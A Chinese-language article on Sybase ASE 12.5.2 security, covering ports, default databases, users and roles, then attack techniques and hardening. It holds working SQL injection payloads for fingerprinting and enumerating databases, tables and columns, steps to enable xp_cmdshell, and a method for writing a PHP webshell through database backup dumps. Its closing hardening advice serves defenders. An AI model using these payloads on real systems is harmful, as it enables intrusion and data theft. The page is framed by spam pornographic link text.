成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

Sybase數據庫安全

數據庫
  Sybase的全稱又叫: SAP Sybase Adaptive Server Enterprise (簡稱ASE或Sybase ASE),繼承于MSSQL的原始代碼,和MSSQL血緣很近。Sybase是一種關系型數據庫系統,是一種典型的UNIX或WindowsNT平臺上客戶機/服務器環境下的大型數據庫系統。它以PowerBuilder為開發工具,以 SAP Sybase SQL Anywhere 為客戶端。目前新版是ASE 15.7.x,命名從12.5.5直接到15.0.0(跳過中間的13、14),本次測試的是12.5.2,其中12.5是12大版本中最穩定的版本。

  0x00 Sybase數據庫介紹

  簡介

  Sybase的全稱又叫: SAP Sybase Adaptive Server Enterprise (簡稱ASE或Sybase ASE),繼承于MSSQL的原始代碼,和MSSQL血緣很近。Sybase是一種關系型數據庫系統,是一種典型的UNIX或WindowsNT平臺上客戶機/服務器環境下的大型數據庫系統。它以PowerBuilder為開發工具,以 SAP Sybase SQL Anywhere 為客戶端。目前新版是ASE 15.7.x,命名從12.5.5直接到15.0.0(跳過中間的13、14),本次測試的是12.5.2,其中12.5是12大版本中最穩定的版本。

 

 

 

  創建數據庫的時候要注意存放設備:

  

 

 

  服務及端口

 

 

 

  開放端口:

  備份服務:5001、監控服務:5002、數據庫主服務:5000、存儲過程服務:5004

  默認數據庫

  

 

 

  Master :系統的核心數據庫,控制服務器的操作以及存儲有關所有用戶數據庫和相關的存儲設備的信息,包括用戶的用戶名和密碼;

  Model :模板數據庫,當創建用戶數據庫時,系統根據model數據庫制作副本,并將數據庫的大小擴展到用戶指定的大小。

  Systemprocs :保存系統的存儲過程。

  Sybsystemdb :關于分布式事務管理功能。

  Tempdb :包含臨時表,放置臨時數據。

  注冊用戶和數據庫用戶

  當SQL SERVER創建注冊用戶后,該用戶就能合法進SQL SERVER,該注冊用戶信息會放在master數據庫中的 syslogins表中。但只有注冊用戶成為某一數據庫用戶,并且對該用戶賦予某些權限時,該注冊用戶才能在限制條件下使用數據庫中的表。

  創建注冊用戶:

  1. sp_addlogin loginame, passwd     (刪除即為drop

  創建數據庫用戶:

  1. [dbname..] sp_adduser loginame    (此處的loginame 必須是注冊用戶,否則報錯) 

  分配權限:

  1. grant all | select,insert,delete,update 
  2. on table_name | view_name | stored_procedure_name 
  3. to username 

  或

  1. grant all | create database,create 
  2. default,create procedure,create rule,create table,create view,set proxy,set session authorization 
  3. to username 

  數據庫用戶分類

  sa用戶、數據庫屬主、數據庫對象屬主和數據庫普通用戶

  1)、sa用戶:為系統用戶,擁有全部的權限。

  2)、數據庫屬主用戶:數據庫屬主(dbo)用戶可對本數據庫中所有對象(如表、視圖、存儲過程等)進行操作。

  3)、數據庫對象屬主:在實際管理中, ,一般為數據庫屬主。

  4)、數據庫普通用戶:類似于public,數據庫普通用戶必須在數據庫屬主對本數據庫中某些對象(如表、視圖、進程等)賦予某些權限時,才可對本數據庫中某些對象進行允許的操作。

  別名(aliases)與組(group)

  1)、別名:所謂別名(aliases)即將SQL SERVER中的注冊用戶以同一個數據庫用戶的身份來訪問數據庫,并具有與該用戶相同的權限。

  2)、組(group)為數據庫用戶的集合,即通過對組(group)的權限的控制達到對該組中數據庫用戶的控制,但也可對該組中數據庫某些用戶進行格外的權限控制。

  

 

 

  角色

  一般在管理分工較細的數據庫系統中,sa用戶往往被分為三種角色:系統管理員角色(SA role)、系統安全員角色(SSO role)、操作員角色(OPER role)。

  

 

 

  連接及管理工具

  1)、isql

  類似于mysql數據庫的的mysql.exe。可連接本地及網絡數據庫。 使用isql –U sa –P “”連接:

  

 

 

  所有參數要區分大小寫:

  -?顯示 isql 開關的語法摘要。

  -L列出在本地配置的服務器和在網絡上廣播的服務器的名稱。

  -U login_id用戶登錄 ID。登錄 ID 區分大小寫。

  -P password 是用戶指定的密碼。如果未使用-P 選項,isql 將提示輸入密碼。如果在命令提示的末尾使用 -P 選項而不帶密碼,isql 使用默認密碼NULL)。密碼區分大小寫。

  -S server_name 指定要連接到的 SQL Server 默認實例。如果未指定服務器,isql 將連接 到本地計算機上的 SQL Server 默認實例。如果要在網絡上從遠程計算機執行 isql,則需要此選項。

  -H hostname 是使用的客戶端的主機名稱。

  -d use database name,用于指定使用數據庫名

  2)、官方Sybase SQL Advantage

  缺點:a、隨數據庫完整安裝包一起發布,使用時有版本上的要求。

  b、只支持SQL語句,個人覺得就是isql的圖形化版,有所不便。

  

 

 

  

 

 

  (Sql.ini設定及功能:http://blog.csdn.net/potato015/article/details/2450989 )

  3)、官方Sybase Central

  缺點:a、隨數據庫完整安裝包一起發布,使用時有版本上的要求。

  b、功能不是很強大

  

 

 

  4)、DBArtisan

  

 

#p#

 

  0x01 Sybase安全

  執行系統命令

  默認xp_cmdshell是不開啟的。未開啟xp_cmdshell時:

  

 

 

  開啟xp_cmdshell : sp_configure 'xp_cmdshell context',0

  

 

 

  開啟xp_cmdshell后執行命令:

  

 

 

  權限不夠時執行xp_cmdshell:

  

 

 

  細節:

  1、執行 sp_configure 'xp_cmdshell',0 允許所有含sa_role角色的login用戶執行xp_cmdshell命令,此功能默認關閉

  2、默認 sp_configure 'xp_cmdshell',1 經測試需要在windows下具有相同longin用戶名稱和密碼,并且該用戶隸屬administrators權限組,還有一點不能忽略:取消選擇“用戶下次登錄時需更改密碼”!

  3、MSSQL由于和windows集成,可以直接使用系統賬戶登錄到數據庫。而Sybase則需要按照上面第二步做配置才能達到和MSSQL類似的效果。

  注釋符與聯合查詢

  支持union,可以用/ /、--來注釋,可以用/ /來替換空格,也可以用+代替空格,也支持count( ),不過通配符 不能出現在子查詢中。

  

 

 

  12.5.2及以前的版本不支持TOP關鍵字,形如select top N from注入語句將報錯

  

 

 

  當然,不能用top,肯定會有替代方案,那就是set rowcount N

  

 

 

  

 

 

  但是set rowcount N貌似不支持子查詢和條件句:

  

 

 

  多句執行

  與mssql不同的地方是:多條語句直接以空格分隔,而不是分號。

  

 

 

  

 

 

  對編碼的支持

  與MSSQL相同:

  

 

 

  SQL注入特性

  以Php為腳本:

  

 

 

  以Java為腳本:

  

 

#p#

 

  判斷是否是Sybase數據庫:

  1. id=1 and exists(select * from master.dbo.ijdbc_function_escapes) 

  

 

 

 

 

  

 

 

  以報錯方式注入時要注意,sybase是不支持不同類型數據直接相比較的(與MSSQL不同):

  1. id=1 and 1=user 
  2. id=1 and 1=convert(integer,user
  3. ![enter image description here][28] 
  4. id=1 and 1=convert(integer,(select+@@version)) 
  5. ![enter image description here][29] 
  6. id=-1 union select 1,"",(select @@version) 

  

 

 

  列庫(復雜版本):

  1. id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’)) 

  列出***個庫master 

  1. id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>’master‘)) 

  列出除master外的***個庫

  

 

 

  列庫(簡單版本):

  

  1. id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1))   不斷遞增dbid的值 

  

 

 

  dbid是連續的數字,猜解起來很容易

  

 

 

  PS:雖然Sybase不能用TOP、for xml path,但是支持having、where not in等語法,變化方式依然有多種

  與MSSQL不同的一點:

  MSSQL是xtype Sybase是type

  

 

 

  列表(只能用復雜版):

  

  1. id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘ ’)) 

  列出***個表cmd

  

  1. id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’)) 

  列出除cmd外的***個表cmd0

  

 

 

  列字段:

  

  1. select name from test..syscolumns where id=object_id(‘users’) and colid=1 遞增colid 

  即:

  

  1. id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users'and colid=1)) 

  

 

 

  工具注入:

  

 

 

  穿山甲猜不出庫名,抓包發現使用了TOP關鍵字,看來穿山甲只支持12.5.3以后的sybase

  

 

 

  備份寫文件(webshell)

  前提條件:

  1、備份服務打開

  2、備份服務允許遠程訪問

  3、有數據庫權限(宿主權限)+磁盤寫權限

  步驟:

  、create table cmd(a image)—

  、insert into cmd(a) values ('')—

  、dump database test to ‘C:\wamp\www\1.php’ 【全備份】

  (對應MSSQL為:backup database 庫名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)

  dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG備份】

  (對應MSSQL為:backup log 庫名 to disk='d:\www\xxx\test.asp'--)

  注:使用dump TRANSACTION時要求數據文件和日志文件不能存放在同一設備中。

  、drop table cmd--

  

 

 

  加固與防范

  口令

  1. sp_password  “原密碼”, “新密碼”,用戶名 

  例如將sa用戶的密碼由空改為123456: sp_password NULL,”123456”,sa

  1. sp_configure “minimum password length”,8    ---密碼最短長度 
  2. sp_configure “check password for digit”,1   ---至少包含一個數字 
  3. sp_configure “systemwide password expiration”,90   ---口令有效時長 
  4. sp_configure “maximum failed logins”,5   ---設置口令錯誤鎖定閥值 

  刪除擴展存儲過程xp_cmdshell, 并刪 除 sybsyesp.dll

  1. exec  sp_dropextendedproc  xp_cmdshell 

  關閉sa賬戶的使用:

  1. sp_locklogin sa,"lock“ 

  關閉遠程訪問:

exec sp_configure “allow remote access” ,0

  1. exec sp_configure “allow remote access” ,0 

  關閉后,很多服務將無法使用,比如備份

  登陸IP白名單

  系統沒有和登陸相關的限制設置,只能通過創建登錄觸發器來實現登陸IP白名單

  1. create procedure login_trg  
  2. as   
  3.    declare @ip varchar(18),@login_name varchar(20)  
  4. begin   
  5.    select  
  6.    @ip=t.ipaddr,@login_name=suser_name()  
  7.    from master.dbo.sysprocesses t where t.spid=@@spid   
  8.    if @ip<>'192.168.0.102' 
  9.       begin   
  10.          raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name  
  11.          select syb_quit()  
  12.       end  
  13.    else   
  14.        print 'Welcome!'  
  15. end   

  創建登錄觸發器后,執行如下命令:

  1. isql>grant execute on login_trg to loginname   
  2. isql>sp_modifylogin loginname, "login script",login_trg 

  日志

  1. isql>exec sp_configure "log audit logon failure",1 --記錄登錄失敗信息 
  2. isql>exec sp_configure "log audit logon success",1 --記錄登錄成功信息 

 

責任編輯:honglu 來源: 內存溢出
相關推薦

2011-08-25 11:08:21

Sybase數據庫

2009-11-20 15:03:29

2010-11-29 11:51:59

Sybase數據庫維護

2011-04-12 09:43:17

Sybase數據庫修復技巧

2010-11-29 11:47:26

連接Sybase數據庫

2010-11-29 11:22:36

SYBASE數據庫日志

2010-04-29 11:53:42

Oracle數據庫

2011-04-13 14:07:17

OracleSybase數據庫

2011-03-08 10:58:09

Sybase數據庫

2009-01-15 09:24:03

Sybase數據庫引擎

2011-05-13 13:15:52

SYBASE ASA數

2015-10-23 14:37:56

DelphiDBExpress連接

2010-11-29 11:55:47

SYBASE數據庫

2011-03-23 15:22:47

PBSybase數據庫

2010-11-29 10:11:05

Sybase數據庫死鎖

2011-03-10 13:24:26

2011-03-07 15:54:30

2009-07-06 23:23:15

Sybase數據庫修復

2011-03-17 17:27:48

Sybase數據庫引擎

2010-05-17 09:02:53

SybaseSAP
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 爱爱爱av | 精品久久一区 | 国产成人精品一区二区三区四区 | 91精品国产欧美一区二区成人 | 一区二区三区小视频 | 欧美一级电影免费 | 国产一区二区三区在线 | 黑人巨大精品 | 中文字幕一区二区三区在线视频 | 欧洲免费毛片 | 国产成人精品综合 | 天天看天天操 | 极品国产视频 | 不卡在线视频 | 国产成人精品a视频一区www | 91原创视频在线观看 | 国产精品亚洲片在线播放 | 国产在线观看一区二区三区 | 在线看av的网址 | 日韩一区和二区 | 国产一级片免费视频 | 中文字幕在线观看国产 | 久久精品国产清自在天天线 | 国产精品99久久久精品免费观看 | 亚洲91av| 亚洲精品9999 | 国产精品一区在线观看你懂的 | 中文字幕亚洲精品 | 都市激情亚洲 | 在线观看国产精品一区二区 | 91精品久久久久久久久 | 欧美二区在线 | 国产成人一区二区三区电影 | 日韩午夜精品 | 久久久久久免费观看 | 日韩不卡一区二区 | 国产激情偷乱视频一区二区三区 | 在线欧美视频 | 国产精品视频久久 | 日本亚洲一区二区 | 99精品一区 |